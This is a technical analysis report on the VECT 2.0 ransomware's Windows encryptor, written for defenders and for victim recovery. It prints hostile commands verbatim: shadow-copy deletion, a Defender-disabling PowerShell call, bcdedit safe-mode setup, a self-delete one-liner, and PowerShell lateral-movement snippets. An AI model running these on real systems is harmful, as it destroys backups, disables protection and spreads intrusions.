Vect

Technical Analysis — V2

REVERSE-ENGINEERED REPORT

RansomLook · ransomlook.io
File last modified: 2026-04-29

Analysis date: 2026-04-29
Sample SHA-256: `01881ad57dec5254c53334a63a6c7216edc3dcf0dce02536856bcff9d66fef5d`

VECT 2.0 Ransomware — Full Analysis

1. Sample Identification

Field	Value
Family	VECT 2.0
SHA-256	`01881ad57dec5254c53334a63a6c7216edc3dcf0dce02536856bcff9d66fef5d`
MD5	`5cce0d983f04d51d102a91b8353717fa`
Type	PE32+ x86_64, Windows
Size	1,456,128 bytes (1,422 KB)
Language	C++ (MinGW-w64 / GCC libstdc++, Itanium name mangling)
Compile timestamp	not preserved (MinGW-w64 default — not used for attribution)
PDB path	none
Image base	`0x140000000`
Sections	11: `.text` (RX), `.data`, `.rdata`, `.pdata`, `.xdata`, `.bss`, three `.idata` segments, `.CRT`, `.tls`
Functions	4,753 total

The binary is a self-contained encryptor written in C++ and statically linked against MinGW-w64's libstdc++. The malware logic is built on top of a cryptographic codebase derived from libsodium (ChaCha20, BLAKE2b, X25519, Poly1305 are all present). All string literals, configuration values, kill-list entries, registry paths, PowerShell payloads, and command lines are XOR-encrypted with per-string 64-bit keys (cycle-of-8 byte-wise XOR), lazily decrypted on first use into a global cache, and re-encrypted at process exit by registered destructors. Three TLS callbacks are present (two are MinGW runtime, the third installs a vectored exception handler used incidentally by `pthread_setname_np`). The binary advertises a version string `VECT 2.0` (rendered on the desktop wallpaper) and an internal codename `dvm3` leaked through an artefact filename.

The present analysis is scoped to this Windows sample only. No claim is made here about other VECT 2.0 builds or non-Windows variants.

> **Key finding — this build is partially destructive, not merely an encryptor.** Two independent design defects in the file-encryption pipeline cause data loss that no key disclosure can repair: (i) a single 256-bit ChaCha20 key is hardcoded in `.text` and reused across every file and every host (making files ≤ 128 KiB trivially decryptable when the build is recovered), and (ii) for files > 128 KiB the four-chunk intermittent-encryption loop reuses a stack-local nonce buffer, so only the last of the four random nonces is preserved on disk and the other three are lost forever. The combined effect is that any file larger than 128 KiB processed by this build has roughly 75 % of its content rendered cryptographically irrecoverable — **including with full cooperation from the operator**. See Section 5 ("Lost-nonce flaw" and "Operational consequence") for the technical detail and Section 15 (T1485) for the impact mapping.

Imports (10 DLLs)

DLL	Count	Purpose
KERNEL32.DLL	79	File I/O (`CreateFileW` , `ReadFile` , `WriteFile` , `MoveFileExW` , `SetFilePointer` , `FindFirst/NextFileW` , `FindFirst/NextVolumeW` , `SetVolumeMountPointW` , `GetVolumePathNamesForVolumeNameW`), process and thread management (`CreateProcessA` , `CreateThread` , `_beginthreadex` , `Process32First/NextW` , `OpenProcess` , `TerminateProcess` , `WaitForSingleObject` , `WaitForMultipleObjects`), memory (`VirtualAlloc` , `VirtualProtect` , `HeapAlloc` , `GetWriteWatch`), TLS (`TlsAlloc` , `TlsGetValue` , `TlsSetValue`), exception handling (`AddVectoredExceptionHandler` , `RemoveVectoredExceptionHandler` , `RaiseException` , `RtlCaptureContext` , `RtlVirtualUnwind` , `__C_specific_handler`), system info (`GlobalMemoryStatusEx` , `GetSystemInfo` , `GetSystemDirectoryA` , `GetTempPathA` , `GetComputerNameA` , `GetEnvironmentVariableA` , `GetTickCount64` , `QueryPerformanceCounter` , `IsDebuggerPresent` , `CheckRemoteDebuggerPresent`), debugging (`OutputDebugStringA` , `SetUnhandledExceptionFilter`)
ADVAPI32.DLL	10	Service Control Manager (`OpenSCManagerA` , `OpenServiceA` , `ControlService` , `QueryServiceStatusEx` , `CloseServiceHandle`), registry (`RegOpenKeyExA` , `RegCreateKeyExA` , `RegSetValueExA` , `RegCloseKey`), token (`OpenProcessToken` , `GetTokenInformation`), CSPRNG (`SystemFunction036` — i.e. `RtlGenRandom`)
GDI32.DLL	12	Wallpaper bitmap rendering (`CreateCompatibleBitmap` , `CreateCompatibleDC` , `CreateFontA` , `CreateSolidBrush` , `DeleteObject` , `DeleteDC` , `GetDIBits` , `GetTextExtentPoint32A` , `SelectObject` , `SetBkMode` , `SetTextColor` , `TextOutA`)
USER32.DLL	5	`GetDC` , `ReleaseDC` , `FillRect` , `GetSystemMetrics` , `SystemParametersInfoW` (wallpaper application)
MPR.DLL	7	Network share enumeration / mounting (`WNetAddConnection2A` , `WNetGetConnectionW` , `WNetOpenEnumA/W` , `WNetEnumResourceA/W` , `WNetCloseEnum`)
NETAPI32.DLL	3	`NetShareEnum` , `NetServerEnum` , `NetApiBufferFree` (network share discovery)
PSAPI.DLL	1	`GetModuleBaseNameW` (parent-process inspection helper)
IPHLPAPI.DLL	1	`GetAdaptersInfo` (address discovery; not used for actual networking)
WS2_32.DLL	3	`htonl` , `inet_addr` , `inet_ntoa` only — address-string utilities, no socket/connect/send imports
msvcrt.dll	70+	Standard C library (file I/O, string, memory, locale, math, exit handling)

Notably absent: any `bcrypt` , `crypt32` , `wininet` , `winhttp` , `urlmon` , `wlanapi` , `dhcpapi` , `ldap` , or socket transport (`socket` , `connect` , `send` , `recv` , `WSAStartup`) imports. The binary performs **no network I/O of its own** — the only networking-adjacent activity is SMB share enumeration via the `MPR` / `NETAPI32` cached-credential APIs used for read/write file access during local encryption, and UTF-8 hostname/IP string handling via `WS2_32` address utilities.

---

2. Infrastructure

Field	Value
Onion	`http://vectordntlcrlmfkcm4alni734tbcrnd5lk44v6sp4lqal6noqrgnbyd.onion` (Tor v3, 56-character vanity address with the leading substring `vectord`)
Email	N/A — the operator does not advertise an email channel; only the Tor onion (primary) and Qtox (backup) are referenced
TOX ID	`1A51DCBB33FBF603B385D223F599C6D64545E631F7C870FFEA320D84CE5DAF076C1F94100B5B` (Qtox, listed as "Backup contact" in the ransom note)
Campaign / victim identifier	`5cb9f0f9-e171-403f-bed9-a3cd6ce36d1f` (UUID hardcoded in the static configuration; appears as `Unique ID` in the ransom note and as the path component after `/chat/` in the chat URL)
Chat URL	`http://vectordntlcrlmfkcm4alni734tbcrnd5lk44v6sp4lqal6noqrgnbyd.onion/chat/5cb9f0f9-e171-403f-bed9-a3cd6ce36d1f`
Note filename	derived at runtime from a hardcoded base name (XOR-encrypted in the binary), with `.txt` suffix; the base name is then concatenated with `.txt` (e.g. `<base>.txt`) and dropped in every encrypted directory plus on `%USERPROFILE%\Desktop\`
Extension	`.vect` (appended to the original filename, the original extension is preserved as in `<original>.<ext>.vect`)
Mutex	N/A — no `CreateMutex` / `OpenMutex` import is used; concurrent execution is gated by the existence of the marker file `C:\ProgramData\.vect` instead
Payment	not specified inside the binary; payment instructions are stated in the ransom note to be provided through the Tor chat portal after a sample decryption proof

3. Ransom Note

Filename

`<base>.txt` (base name is XOR-encrypted in the binary's static configuration). The note is dropped by every scanner thread inside every directory it enters during the recursive walk, plus an additional copy in `%USERPROFILE%\Desktop\<base>.txt`. The note is written before the directory's files are encrypted, ensuring readability after encryption completes.

Content

```
!!! README !!!

================================================================
:::     ::: :::::::::: :::::::: ::::::::::
:+:     :+: :+:       :+:    :+:    :+:
+:+     +:+ +:+       +:+           +:+
+#+ +#++:++#  +#+
+#+   +#+  +#+       +#+
#+#+#+#   #+#       #+#
   ###     ########## ########     ###
================================================================

Dear Management, all of your files have been encrypted with ChaCha20 which is an unbreakable
encryption algorithm.

Sadly, this is not the only bad news for you. We have also exfiltrated your sensitive data,
consisting mostly of databases, backups and other personal information from your company and will
be published on our website if you do not cooperate.

The only way to recover your files is to get the decryption tool.

To obtain the decryption tool:

1. Open Tor Browser and visit: <onion>/chat/<victim_id>
2. Follow the instructions on
3. Receive a sample decryption of up to 4 small files
4. We will provide payment instructions
5. After payment, you will receive decryption tool

Do not use third party software to restore files
If you violate these rules, your files will be permanently damaged

WARNING:
- Do not modify encrypted files
- Do not reinstall system

Files encrypted: <count>
Total size: <bytes> bytes

Unique ID: <victim_id>

Backup contact (Qtox):
1A51DCBB33FBF603B385D223F599C6D64545E631F7C870FFEA320D84CE5DAF076C1F94100B5B
```

The exfiltration claim ("we have also exfiltrated your sensitive data… and will be published on our website") is **not supported by any code in this binary**: there is no HTTP/HTTPS, no SMTP, no FTP, no DNS tunnelling, and no socket transport import. Either the data theft is performed by a separate operator-side tool not present in this sample, or the claim is a psychological pressure tactic.

---

4. Execution Flow

Entry sequence

```
1.  Standard MinGW-w64 _tmainCRTStartup -> user main(argc, argv)
2.  Parse argv flags (see Section 11)
3.  Try to open C:\ProgramData\.vect as binary std::ifstream;
    if open fails, immediately destroy the stream and return 0 (silent exit)
4.  Set global verbose flag from -v/--verbose
5.  Probe is_admin (via OpenProcessToken/GetTokenInformation) and is_remote_session
    (via GetSystemMetrics(SM_REMOTESESSION))
6.  If admin:
      a. GetModuleFileNameA(self) -> module_path
      b. install_persistence_3way(module_path)        # see Section 10
      c. disable_defender_realtime()                   # see Section 7
      d. dispatch_kills_and_persist()                  # services + processes + Run key alt
      e. vssadmin_delete_shadows()                     # see Section 7
      f. if --force-safemode and not RDP: trigger_safemode_reboot() (bcdedit ...)
      g. if --mount: mount_network_shares() + Sleep(2000)
7.  Build the per-drive scan paths vector (init_encryption_ctx populates the
    crypto context from the static C++ global config struct)
8.  If --gpo: spawn 3 std::thread workers iterating g_lateral_techniques_array
    (10 PowerShell-based RCE techniques, see Section 10)
9.  For each drive in the scan list:
      encrypt_drive_orchestrator(ctx, drive)
        -> spawns N=max(4,total/8) scanner threads + M=max(12,total-N) encryptor threads
        -> waits via _InterlockedSub counter + WaitForMultipleObjects
        -> CloseHandle on all worker handles
10. Post-encryption cleanup (unmount shares if applicable)
11. delete_powershell_history()                       # see Section 7
12. If --stealth: spawn detached
    "cmd /c ping 127.0.0.1 -n 3 >nul & del /f /q \"<self>\""
    via CreateProcessA(CREATE_NO_WINDOW=0x8000000) and exit
```

Thread architecture

For each drive, the encryption orchestrator computes:

- **`n_total`** = thread count derived from CPU count and physical RAM (capped to 256)
- **`n_scanners`** = `max(4, n_total / 8)`
- **`n_encryptors`** = `max(12, n_total - n_scanners)`

Each scanner thread pops directory paths from a path queue, performs `FindFirstFileW` / `FindNextFileW` enumeration, applies the directory and file skip lists (Section 6), and pushes file paths onto a file queue while writing the ransom note inside the directory currently being scanned. Each encryptor thread pops file paths from the file queue, calls the per-file encryption routine, and increments an `_InterlockedAdd64` counter of total bytes encrypted. The orchestrator waits on scanner-completion via an interlocked counter, then on encryptors via `WaitForMultipleObjects(INFINITE)`.

Execution gate (anti-orphan-payload guard)

The marker file `C:\ProgramData\.vect` must exist on the host for any malicious behaviour to occur. Its content is never read; only its presence is tested. This functions as a guard that allows the binary to be safely staged on hosts before being activated by a separate first-stage component dropping the marker.

5. Encryption System

Key Exchange

Parameter	Value
Algorithm	N/A — there is no per-victim key exchange in this sample. The same hardcoded 32-byte key is used to encrypt every file on every host targeted by this build (see "Symmetric Cipher" below). Whether the same constants are reused by other VECT 2.0 builds was not verified in this analysis
Key size	–
Implementation	–
Attacker public key	– (an X25519 implementation with hardened small-subgroup-point rejection is statically linked, including a curve-25519 5×51-bit limb arithmetic and a Curve25519 Montgomery ladder, but it is not invoked from the file-encryption call chain in this build)

Symmetric Cipher

Parameter	Value
Algorithm	ChaCha20 (RFC 7539, IETF variant — sigma `expand 32-byte k`, libsodium-derived)
Mode	stream (XOR with keystream)
Key size	256 bits (32 bytes)
Nonce/IV	12 bytes per encryption call, generated via `SystemFunction036` (`RtlGenRandom`)
Block counter	32 bits, **forced to 0** at the start of every chunk by the dispatch shim
Per-file key	NO — the same hardcoded universal key is used for every chunk, every file, every victim of this build
State layout	standard ChaCha20-IETF: `sigma(16) | key(32) | counter(4) | nonce(12)`
Round count	20 (10 doublerounds with rotations 16, 12, 8, 7)

The Universal Hardcoded Key

The encryption routine receives a pointer to a 97-byte `crypto_state` buffer constructed at runtime as follows:

Offset	Length	Content	Used for ChaCha20 ?
0..63	64	Hardcoded 8 QWORD constants — all of which are XOR'd byte-wise with a single random byte `valEv` retrieved from `std::random_device::_M_getval()`	**NO** — this region is never read by the encryption call chain
64..95	**32**	**Hardcoded 4 QWORDs, never modified after the static initialization**	**YES — this 32-byte block is the ChaCha20 key**
96	1	The random byte `valEv` itself	–

The "randomization" gesture (XOR-with-`valEv` over bytes 0..63) provides no cryptographic entropy because those 64 bytes are not used by the cipher. The actual encryption key used by every ChaCha20 call is the unmodified 32-byte block at offsets 64..95:

```
Universal ChaCha20 key (this build):
  6A 51 09 57 F1 BF 8E CE  D9 AA E3 AA 5E 86 12 15
  2D 0A BB F1 11 FC D2 A3  9F 02 FF E6 00 0F 6B E8
```

File Encryption Process

For each victim file (per encryptor thread):

```
1. Build new pathname = <original_path> + "." + ".vect"
2. MoveFileExW(original, new, MOVEFILE_REPLACE_EXISTING)   # in-place rename
3. CreateFileW(new, GENERIC_READ|WRITE, FILE_SHARE_READ,
               OPEN_EXISTING, FILE_FLAG_NO_BUFFERING)       # 0x10000000
4. GetFileSizeEx
5. Branch on file size (see Intermittent Encryption below)
6. For each chunk i in {0, 1, 2, 3} (or single chunk for small files):
     SetFilePointer(file, chunk_offset, FILE_BEGIN)
     ReadFile(buf, chunk_size)
     RtlGenRandom(footer_buf, 12)                            # 12B random nonce
     ChaCha20_xor(buf, key=crypto_state+64, nonce=footer_buf, counter=0)
     SetFilePointer(file, chunk_offset, FILE_BEGIN)
     WriteFile(buf, chunk_size)                              # rewrite ciphertext
7. SetFilePointer(file, 0, FILE_END)
8. WriteFile(footer_buf, 12)                                 # append last nonce
9. _InterlockedAdd64(ctx.total_bytes_encrypted, file_size)
10. CloseHandle(file)
```

Intermittent Encryption

File size	Strategy
`≤ 0x20000` (128 KiB)	Single full-content encryption: read the entire file into a 32 KiB heap buffer, ChaCha20 over the full content, write back at offset 0
`> 0x20000` (128 KiB)	Four chunks of 32 KiB each at offsets `i × (filesize/4)` for `i = 0, 1, 2, 3`. The remaining intermediate regions stay in cleartext

Lost-nonce flaw (large files)

The 12-byte nonce buffer used in step 6 of the per-file routine is a single function-frame stack local. Across the four chunk iterations, the **same memory address** is reused, and the previous nonce is unconditionally overwritten by the next call to `RtlGenRandom`. After the loop, only the nonce of the **fourth (last)** chunk remains, and that single value is what step 8 writes as the EOF footer.

The nonces of chunks 0, 1, and 2 are therefore **not stored anywhere**. They are not derived deterministically from a counter or from the master key; the source of randomness is pure CSPRNG, no derivation function is applied. As a result, for any encrypted file larger than 128 KiB, the contents of the first three chunks (covering offsets `0..size/4`, `size/4..size/2`, `size/2..3*size/4`, i.e. **75% of the file content** for any file size that is a clean multiple of `4 × 32 KiB`) are cryptographically irrecoverable regardless of any future key disclosure.

For files that fall in the size range `(128 KiB, 4 × 32 KiB)` the same effect applies but the lost ciphertext fraction is smaller. For files just above 128 KiB, the four 32 KiB chunks may overlap or cover the entire content — in that case the first three nonces being lost still costs three quarters of the encrypted ciphertext.

Operational consequence: partial wiper, not a recoverable encryption

The combination of the universal hardcoded key (Section 5 — "The Universal Hardcoded Key") and the lost-nonce flaw described above produces a two-tier outcome on any victim host of this build:

File size	Outcome	Why
≤ 128 KiB	**Decryptable** with the hardcoded ChaCha20 key (offsets 64..95 of the crypto state) and the 12-byte EOF footer of each file	A single ChaCha20 nonce covers the entire ciphertext; the key is constant across files
> 128 KiB	**Permanently destroyed for ~75 % of the content** (the three encrypted chunks at file offsets 0, ¼·size and ½·size); the last 32 KiB chunk at ¾·size remains decryptable	Three of four random 12-byte nonces are written to the same stack-local buffer and overwritten before the EOF footer is appended; they are not stored on disk, not transmitted, and not derivable

The upper-tier effect is independent of any cryptanalytic effort and independent of operator cooperation. Even an operator with full control of the build, the source code, and the per-victim chat session has no mechanism to reproduce the three discarded nonces — they were never persisted anywhere they can be retrieved from. For the affected file population this build behaves as a partial wiper rather than as a ransom-paying cryptolocker, irrespective of intent. This is a property of the binary, not of the threat-actor playbook.

Encrypted File Format

```
+-------------------------------------------------------------+
| Encrypted body (in-place, original file size unchanged)     |
|   - if size <= 128 KiB: entire content ChaCha20-encrypted   |
|   - if size  > 128 KiB: four 32 KiB chunks at offsets       |
|       i * (size/4), for i in {0,1,2,3}, ChaCha20-encrypted; |
|       the rest of the file is left in plaintext             |
+-------------------------------------------------------------+
| Footer: 12 bytes — ChaCha20 nonce of the LAST encrypted chunk |
+-------------------------------------------------------------+

File rename: <original>.<ext>  ->  <original>.<ext>.vect
```

There is no per-file header, no magic bytes, no per-file key wrap, no signature, no MAC, and no metadata other than the trailing 12-byte nonce.

Sample File Layout (small file, ≤ 128 KiB)

For a hypothetical 1024-byte plaintext encrypted by this build, the resulting `<original>.<ext>.vect` file is 1036 bytes long with the following structure:

```
Offset      Length      Content
----------  ----------  ------------------------------------------------
0x00000000  1024 bytes  ChaCha20(master_key, footer_nonce, counter=0) over the
                        original 1024-byte plaintext
----------  ----------  ------------------------------------------------
0x00000400  12 bytes    ChaCha20 nonce (12 random bytes generated by
                        RtlGenRandom, written to stack-local then to EOF)
                        Example footer hex (illustrative — actual values are
                        per-file random):
                          XX XX XX XX XX XX XX XX XX XX XX XX
```

Decryption (for a file ≤ 128 KiB) reduces to: 1. Read the file body (everything except the last 12 bytes). 2. Read the trailing 12-byte footer as the ChaCha20 nonce. 3. Run ChaCha20 keystream with the universal master key, the footer as nonce, and counter starting at 0. 4. XOR keystream into the body to recover the plaintext.

Sample File Layout (large file, > 128 KiB)

For a hypothetical 1 MiB (1,048,576-byte) plaintext, the resulting `.vect` file is 1,048,588 bytes long. Four 32 KiB regions are encrypted in place at offsets `0x00000`, `0x40000`, `0x80000`, and `0xC0000`. The remaining ~896 KiB of the file is left in plaintext. Only the final chunk's nonce survives in the EOF footer:

```
Offset             Length      Content
-----------------  ----------  ------------------------------------------------
0x00000000          32,768 B    Chunk #0: ChaCha20 ciphertext (nonce LOST)
0x00008000         ~229 KiB     Plaintext gap
0x00040000          32,768 B    Chunk #1: ChaCha20 ciphertext (nonce LOST)
0x00048000         ~229 KiB     Plaintext gap
0x00080000          32,768 B    Chunk #2: ChaCha20 ciphertext (nonce LOST)
0x00088000         ~229 KiB     Plaintext gap
0x000C0000          32,768 B    Chunk #3: ChaCha20 ciphertext (nonce IN FOOTER)
0x000C8000         ~225 KiB     Plaintext gap
0x000FFFFC          12 bytes    ChaCha20 nonce of chunk #3 only
```

For files in this range, only the chunk at offset `0xC0000` (~32 KiB) is decryptable; the three earlier chunks remain ciphertext for which no nonce exists.

---

6. File Targeting

Targeted Extensions

All files **except** those matching the exclusion lists below. There is no allow-list of extensions; the malware encrypts any file under any reachable directory.

Excluded Directories

A recursive directory traversal is performed by scanner threads. A directory is **skipped** (not entered) if its name matches case-insensitively any of the entries below, or if its name begins with a `$` character (NTFS metadata).

Directory	Reason
`.`	Self-reference (POSIX directory listing artefact)
`..`	Parent reference
`Windows`	OS files
`Windows.old`	OS update backup
`Boot`	Boot sector / loader
`$Recycle.Bin`, `$RECYCLE.BIN`, `$recycle.bin`	Recycle bin (three case-variant entries)
`System Volume Information`	NTFS journal / VSS area
`Program Files`	Installed applications
`Program Files (x86)`	32-bit applications
`ProgramData`	Application data — **note: the marker file is in this directory and is not encrypted**

Excluded Extensions

`.exe`, `.dll`, `.sys` — executables and drivers are never encrypted. Combined with the boot-loader skip list below, this guarantees the host remains bootable so the wallpaper and the ransom note are visible to the victim.

Excluded Files

File (case-insensitive)	Reason
`bootmgr`	Boot manager
`bootmgr.efi`	UEFI boot manager
`bootmgfw.efi`	UEFI Windows boot manager
`bootsect.bak`	Boot sector backup
`boot.ini`	Legacy NTLDR config
`bootfont.bin`	Legacy NTLDR font file
`ntldr`	Legacy boot loader
`NTLDR`	Same, uppercase

Files whose name starts with `$` are also skipped (NTFS metadata).

7. Recovery Inhibition

Command / Action	Description
`vssadmin delete shadows /all /quiet`	Spawned via `CreateProcessA(NULL, cmd, …, CREATE_NO_WINDOW)` with a 30-second wait. Removes every Volume Shadow Copy on the host, blocking shadow-copy-based file restoration
`powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableScriptScanning $true"`	Disables four Microsoft Defender protection layers in a single PowerShell call (real-time scanning, behavioural monitoring, on-access AV protection, and script scanning)
`bcdedit /set {default} safeboot minimal`	Activated only by the explicit `--force-safemode` flag and only when not running inside a Terminal Services / RDP session. Configures the next boot to enter Safe Mode (minimal) where most endpoint protection products are inactive. The binary itself does **not** trigger a reboot — that is left to a natural restart or to a separate operator action
`DeleteFileA` on `%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt`	Erases the user's PowerShell command history. Triggered after the encryption phase, intended to remove evidence of the lateral-movement PowerShell payloads
`cmd /c ping 127.0.0.1 -n 3 >nul & del /f /q "<self>"`	Triggered only when `--stealth` is set. The `ping` provides a ~3-second delay after which the parent ransomware process has typically exited, then the detached `cmd` deletes the binary from disk

8. Targeted Services (28 entries)

Stopped via `OpenSCManagerA(SC_MANAGER_ALL_ACCESS)` followed by `OpenServiceA(STOP|QUERY|ENUMERATE_DEPENDENTS)`, `QueryServiceStatusEx`, and `ControlService(SERVICE_CONTROL_STOP)` for each service whose state is not already `STOPPED` / `STOP_PENDING`. Service names are XOR-encrypted in the binary and decrypted into a `std::vector<char*>` at runtime.

Category	Service names
Backup / shadow / recovery	`vss`, `backup`, `wbengine`, `veeam`, `YooBackup`, `YooIT`
CommVault	`GxVss`, `GxBlr`, `GxFWD`, `GxCVD`, `GxCIMgr`
Symantec / Norton	`DefWatch`, `ccEvtMgr`, `ccSetMgr`, `SavRoam`, `RTVscan`
Other AV	`sophos`, `memtas`, `mepocs`
Intuit QuickBooks	`QBFCService`, `QBIDPService`, `Intuit.QuickBooks.FCS`, `QBCFMonitorService`
Databases	`sql`, `MSSQLSERVER`, `MySQL57`, `MySQL80`
Generic pattern	`svc$` (literal)

The kill list is heavily weighted toward enterprise backup software (CommVault, Veeam, Yoo) and centrally-managed AV/EDR suites (Symantec product line), with database engines added to release file locks.

9. Targeted Processes (8 entries)

Terminated via `CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)` + `Process32FirstW` / `Process32NextW`, then `OpenProcess(PROCESS_TERMINATE)` + `TerminateProcess(handle, 9)` for each process whose `szExeFile` matches case-insensitively (via `wcsicmp`) any of the entries below.

Process	Reason
`sql.exe`	Database engine — releases file locks on data files
`oracle.exe`	Oracle database engine
`mysqld.exe`	MySQL database engine
`outlook.exe`	Office app — releases file locks on `.pst` / `.ost`
`excel.exe`	Office app — releases file locks on `.xlsx` / `.xls`
`winword.exe`	Office app — releases file locks on `.docx` / `.doc`
`firefox.exe`	Browser — releases file locks on profile files
`thunderbird.exe`	Mail client — releases file locks on mail store

---

10. Persistence & Evasion

Three-way registry persistence

Three keys are written under `HKEY_LOCAL_MACHINE` in order to maximise the chance that the malware regains execution after any reboot, including a Safe Mode boot.

Key	Value	Purpose
`SOFTWARE\Microsoft\Windows\CurrentVersion\Run\<basename>`	`(Default) = <full module path>`	Standard auto-start at user login
`SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\<basename>.exe`	`(Default) = "Service"`	Loads the binary in Safe Mode (Minimal) — combined with `bcdedit /set safeboot minimal` provides AV-free execution at next boot
`SYSTEM\CurrentControlSet\Control\SafeBoot\Network\<basename>.exe`	`(Default) = "Service"`	Loads the binary in Safe Mode with Networking

A second Run-key write (under a slightly different name) is performed by the kill-list dispatcher every time the binary executes with administrative privileges, providing redundant persistence.

String obfuscation

Every literal string used at runtime — registry paths, service names, process names, kill-list entries, PowerShell payloads, log messages, ransom-note fragments — is stored XOR-encrypted under a unique 64-bit key per string, decoded byte-wise as `pt[i] = ct[i] ^ ((K >> (8 × (i mod 8))) & 0xFF)`. A guard byte at the end of each string indicates the encrypted/decrypted state; the first read decrypts and caches the value in a global slot, and a destructor registered with `atexit` re-encrypts the cache at process termination.

Lateral movement: 10 PowerShell-based RCE techniques

A `std::function<void(ctx*)>` array of 10 entries is allocated statically. Each entry generates a self-contained PowerShell payload for one specific remote-execution primitive, writes it to a temporary buffer, and runs it via `powershell.exe` with a 60-second timeout. All ten payloads share the same Active Directory discovery preamble:

```
$ErrorActionPreference='SilentlyContinue'
$pcs=@()
try{$pcs=@([adsisearcher]'objectCategory=computer').FindAll()|%{$_.Properties.dnshostname[0]}|?{$
_ -and $_ -ne $env:COMPUTERNAME}}catch{}
if(-not $pcs){$pcs=1..254|%{"192.168.1.$_"}}
```

(LDAP/ADSI search for all domain computers, with a `192.168.1.0/24` scan fallback when no domain is reachable.) All techniques drop the binary at `\\<host>\C$\ProgramData\<filename>` before triggering execution.

#	Technique	Remote execution primitive	Requires `--creds`
1	SMB stage only	`Copy-Item` to `\\$pc\C$\ProgramData\$name`, no remote exec	No
2	SMB stage + cmdkey credential cache	`Copy-Item` + `cmdkey /generic:$pc /user:$u /pass:$p` (credential staging on the local host)	Yes
3, 4	WMI Win32_Process Create (two near-duplicate variants)	`Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "C:\ProgramData\$name"`	Yes
5	DCOM Win32_Process Create	`New-CimSessionOption -Protocol Dcom` + `Invoke-CimMethod -ClassName Win32_Process -MethodName Create`	Yes
6	DCOM MMC20.Application	`[activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application', $pc)).Document.ActiveView.ExecuteShellCommand("C:\ProgramData\$name", $null, $null, '7')` (`'7'` = `wsHidden`)	Yes
7	WinRM Invoke-Command	`Invoke-Command -Credential $cred -ScriptBlock {Start-Process "C:\ProgramData\$using:name"}`	Yes
8	Windows Service install	`sc.exe \\$pc create $svc binPath= "..." type= own start= auto` then `sc.exe start $svc` then `sc.exe delete $svc` (where `$svc = 'DM' + 4 random uppercase letters`)	Yes
9	schtasks (native)	`schtasks /create /s $pc /u $u /p $p /tn $tn /tr "..." /sc once /st 00:00 /ru SYSTEM /f` then `/run` then `/delete`	Yes
10	CIM-DCOM scheduled task SYSTEM	CIM session over DCOM + `Register-ScheduledTask` with `New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest`, then `Start-ScheduledTask`, sleep 500 ms, `Unregister-ScheduledTask`, `Remove-CimSession`	Yes

The `--gpo` flag spawns three parallel `std::thread` workers iterating this 10-entry array; despite its name, this is **not** a SYSVOL-based Group Policy injection (the binary contains no GPO/SYSVOL strings).

Anti-Analysis Summary

Technique	Implementation
Vectored exception handler installed at TLS callback	The third TLS callback installs a VEH that catches `MS_VC_EXCEPTION` (`0x406D1388`). This is a side effect of using MinGW-w64 winpthreads — `pthread_setname_np` raises that exception to inform a Visual Studio debugger of a thread name, and the VEH absorbs the exception so the call does not crash without a debugger attached. The technique is incidental to the toolchain, not an intentional anti-debug primitive
Parent-process debugger check	A function exists that opens the parent process, calls `GetModuleBaseNameW` , lowercases the result, and tests it against `devenv` , `windbg` , `x64dbg` , `x32dbg` , `ollydbg` , `ida` . The function is reachable through indirect call references but no direct call site has been observed in the encryption flow
Analysis-tool exe-name blocklist (dead)	A 35-pointer global array (`g_analysis_tool_blocklist` @ `0x14011E080`) holds UTF-16 LE names of dumpers, debuggers, sysinternals utilities, and network/process monitors: `scylla.exe` , `scylla_x64.exe` , `scylla_x86.exe` , `protection_id.exe` , `x96dbg.exe` , `immunitydebugger.exe` , `IMMUNITYDEBUGGER.EXE` , `ImportREC.exe` (entry duplicated at index 23), `MegaDumper.exe` , `reshacker.exe` , `processhacker.exe` , `procexp.exe` , `procexp64.exe` , `procmon.exe` , `procmon64.exe` , `autoruns.exe` , `autorunsc.exe` , `filemon.exe` , `regmon.exe` , `idaq64.exe` , `wireshark.exe` , `dumpcap.exe` , `hookexplorer.exe` , `PETools.exe` , `LordPE.exe` , `SysInspector.exe` , `proc_analyzer.exe` , `sysAnalyzer.exe` , `sniff_hit.exe` , `joeboxcontrol.exe` , `joeboxserver.exe` , `ResourceHacker.exe` , `fiddler.exe` , `httpdebugger.exe` . **Zero code cross-references**: `xrefs(g_analysis_tool_blocklist) = 0` , and each individual string has exactly 1 xref — the pointer entry inside the array itself. The data is compiled into the binary but is never read by any executable function. Note that the `devenv` / `windbg` / `x64dbg` / `x32dbg` / `ollydbg` / `ida` / `ida64` / `idag` / `idag64` / `idaw` / `idaw64` / `idaq` strings present elsewhere in `.rdata` belong to the separate parent-process module-name check (`is_parent_a_debugger` @ `0x14005E8C0`) and are not part of this dead array. No `NtQueryInformationProcess(ProcessDebugObjectHandle)` , `NtSetInformationThread(HideThreadFromDebugger)` , or any other `Nt*` / `Zw*` runtime resolution is present in this Windows sample
Anti-VM (CPU-based)	None present beyond the `cpuid` calls performed by the MinGW runtime to discover CPU features. No hypervisor-detection MSR access, no CPU-vendor-string check
Anti-sandbox	`GetSystemMetrics(SM_REMOTESESSION)` is queried but only to alter behaviour (skip Safe Mode reboot if running over RDP), not to abort execution

11. Command-Line Arguments

Argument	Description
`-h` / `--help`	Allocate a console (CONOUT$ via `freopen_s`), call a help-printing routine, and exit
`-v` / `--verbose`	Allocate a console with UTF-8 code page (`SetConsoleOutputCP(0xFDE9)`) and emit progress messages during scanning, encryption, and lateral movement
`--stealth` / `--no-stealth`	Toggle the post-encryption self-delete (`cmd /c ping … & del`). Default value is preset in a static configuration byte
`-c <path>` / `--creds <path>`	Path to a credentials file consumed by the lateral-movement techniques. The file content is read into a `std::vector<std::string>` of credential pairs at startup
`-p <path>` / `--path <path>`	Append `<path>` to the list of root paths to scan and encrypt. The flag may be repeated. If absent, the binary derives its scan list from network shares and local drives
`--gpo` / `--no-gpo`	Enable or disable spawning the 10-technique lateral-movement worker threads. Default value is preset in static configuration
`--mount` / `--no-mount`	Enable or disable network share enumeration and mounting before encryption. Default value is preset in static configuration
`--force-safemode`	Run `bcdedit /set {default} safeboot minimal` to configure the next boot to Safe Mode (Minimal). Only effective when running with administrative privileges and outside an RDP/Terminal Services session

